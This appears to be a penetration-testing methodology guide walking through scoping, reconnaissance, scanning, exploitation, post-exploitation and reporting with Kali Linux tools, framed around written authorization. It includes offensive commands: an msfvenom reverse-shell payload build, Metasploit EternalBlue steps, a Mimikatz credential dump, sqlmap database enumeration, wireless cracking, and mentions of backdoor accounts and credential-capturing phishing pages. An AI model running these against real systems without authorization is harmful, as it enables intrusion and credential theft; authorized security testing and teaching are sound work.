Here’s a step-by-step plan to execute a successful penetration test using industry-standard methodologies (e.g., PTES , OSSTMM , or NIST SP 800-115 ):
1. Planning & Scoping
Objective :
Define the scope , goals , and rules of engagement .
Steps :
- Engagement Agreement :
- Scope : IP ranges, systems, and applications to test.
- Rules of Engagement : Timeframe, legal compliance, and disclosure rules.
- Objectives : Identify vulnerabilities, test defenses, or validate security controls.
- Legal Authorization :
- Obtain written approval from the client.
- Ensure compliance with laws (e.g., GDPR, HIPAA).
- Tools & Resources :
- List tools (e.g., Nmap, Metasploit, Wireshark).
- Assign roles (e.g., lead tester, report writer).
2. Reconnaissance (Passive & Active)
Objective :
Gather information about the target to identify potential entry points.
Steps :
- Passive Reconnaissance :
- Use OSINT (Open-Source Intelligence) :
- Maltego : Map relationships (domains, IPs, employees).
- theHarvester : Gather emails, subdomains, and employee info.
- theharvester -d target.com -l 500 -b all
- Search Engines : Google dorks (e.g.,
site:target.com filetype:pdf
). - Social Media : LinkedIn, Twitter for employee info.
- Use OSINT (Open-Source Intelligence) :
- Active Reconnaissance :
- Network Scanning :
- nmap -sV -T4 -p- 192.168.1.100 # Full scan with service detection
- Port Scanning :
- nmap -p- -sS 192.168.1.0/24 # Stealthy SYN scan
- Service Enumeration :
- FTP :
ftp 192.168.1.100
- Web Apps :
curl http://target.com/robots.txt
- SMB :
smbclient -L //192.168.1.100
- FTP :
- Network Scanning :
3. Vulnerability Scanning & Analysis
Objective :
Identify vulnerabilities in the target environment.
Steps :
- Network Scanning :
- Nmap NSE Scripts :
- nmap –script=vuln 192.168.1.100 # Run vulnerability scripts
- Masscan : Rapid port scanning for large networks.
- Nmap NSE Scripts :
- Vulnerability Scanners :
- Nessus : Comprehensive vulnerability assessment.
- OpenVAS : Free alternative for CVE-based scanning.
- Web Application Scanning :
- OWASP ZAP : Automated web app vulnerability scanning.
- sqlmap : Test for SQL injection.
- sqlmap -u “http://target.com/login.php?user=admin” –dbs
- Manual Analysis :
- Review scan results for false positives/negatives.
- Prioritize critical vulnerabilities (e.g., unpatched exploits).
4. Exploitation
Objective :
Exploit vulnerabilities to gain access or compromise systems.
Steps :
- Exploit Frameworks :
- Metasploit :
- msfconsole
- search exploit/windows/smb/ms17_010_eternalblue # Example exploit
- use exploit/windows/smb/ms17_010_eternalblue
- set RHOSTS 192.168.1.100
- exploit
- Exploit-DB : Manual exploit development (https://www.exploit-db.com/ ).
- Metasploit :
- Common Exploits :
- Unpatched Services : Exploit outdated software (e.g., Apache, SMB).
- SQL Injection : Use
sqlmap
to gain database access. - Buffer Overflow : Use
msfvenom
to create custom payloads.- msfvenom -p windows/meterpreter/reverse_tcp LHOST=your_ip LPORT=4444 -f exe > payload.exe
- Social Engineering :
- Use SET (Social-Engineer Toolkit) to craft phishing emails.
- Deploy fake login pages to capture credentials.
5. Post-Exploitation
Objective :
Maintain access, escalate privileges, and move laterally.
Steps :
- Maintain Access :
- Meterpreter :
- meterpreter > sysinfo # Get system info
- meterpreter > shell # Get a shell
- Backdoors : Add a user or modify system files.
- Meterpreter :
- Privilege Escalation :
- Linux : Use
LinEnum
orLinPEAS
to find misconfigurations.- ./LinEnum.sh -u
- Windows : Use Mimikatz to dump credentials.
- mimikatz.exe “privilege::debug””sekurlsa::logonpasswords”exit
- Linux : Use
- Lateral Movement :
- Use
Meterpreter
orSSH
to move across the network. - Exploit Powershell Remoting or RDP for Windows targets.
- Use
6. Reporting
Objective :
Document findings and provide actionable recommendations.
Steps :
- Structure the Report :
- Executive Summary : High-level risks and impact.
- Technical Details : Vulnerabilities, exploits used, and evidence.
- Remediation : Steps to fix vulnerabilities (e.g., patching, configuration changes).
- Tools for Reporting :
- Markdown/LaTeX : Write technical reports.
- Burp Suite : Export web app scan results.
- Metasploit Reports : Use
msfconsole
’s reporting features.
- Example Findings :
- Critical : Unpatched EternalBlue vulnerability (CVE-2017-0144).
- High : SQL injection in login form.
- Medium : Weak passwords in employee credentials.
7. Remediation & Follow-Up
Objective :
Ensure vulnerabilities are fixed and retest the environment.
Steps :
- Client Collaboration :
- Provide a remediation timeline and patch validation.
- Retesting :
- Re-scan or retest fixed vulnerabilities.
- Use Nmap or Nessus to confirm fixes.
- Documentation :
- Archive all logs, commands, and screenshots for future reference.
8. Best Practices
Key Principles :
- Authorization : Always obtain written permission.
- Minimize Impact : Avoid DoS attacks or data corruption.
- Documentation : Log every step (commands, errors, and findings).
- Use VMs : Test in a controlled environment (e.g., Metasploitable VM).
- Stay Updated : Follow CVE databases (e.g., CVE Details ).
Example Workflow
- Reconnaissance :
- Use
theHarvester
to gather subdomains oftarget.com
. - Scan with
Nmap
to find open ports (e.g., 80, 443, 22).
- Use
- Exploitation :
- Use
sqlmap
to exploit SQLi inhttp://target.com/login.php
. - Exploit a known SMB vulnerability with Metasploit .
- Use
- Post-Exploitation :
- Use
Meterpreter
to escalate privileges and move laterally.
- Use
- Reporting :
- Document the SQLi exploit, SMB vulnerability, and privilege escalation steps.
Quick Reference Table
Phase | Tool | Command/Usage |
---|---|---|
Reconnaissance | theHarvester | theharvester -d target.com -l 500 -b all |
Scanning | Nmap | nmap -sV -T4 -p- 192.168.1.100 |
Exploitation | Metasploit | msfconsole; use exploit/windows/smb/ms17_010_eternalblue |
Post-Exploitation | Meterpreter | meterpreter > sysinfo |
Web Scanning | sqlmap | sqlmap -u "http://target.com/login.php?user=admin" --dbs |
Wireless Cracking | Aircrack-ng | aircrack-ng -w wordlist.txt capfile.cap |
Resources for Mastery
- Certifications :
- OSCP (Offensive Security Certified Professional) : Practical pentesting.
- CEH (Certified Ethical Hacker) : Broad vulnerability assessment.
- Practice Platforms :
- Hack The Box (Real-world scenarios).
- TryHackMe (Guided labs).
- OverTheWire (CTF challenges).
Final Tips
- Stay Updated : Follow CVE databases and security blogs.
- Automate : Write scripts for repetitive tasks (e.g., Nmap scans).
- Join Communities : Engage with forums like Offensive Security or Reddit’s r/penetrationtesting .
By following this methodology and leveraging Kali Linux’s tools, you can systematically identify and exploit vulnerabilities while maintaining ethical standards. 🔍💻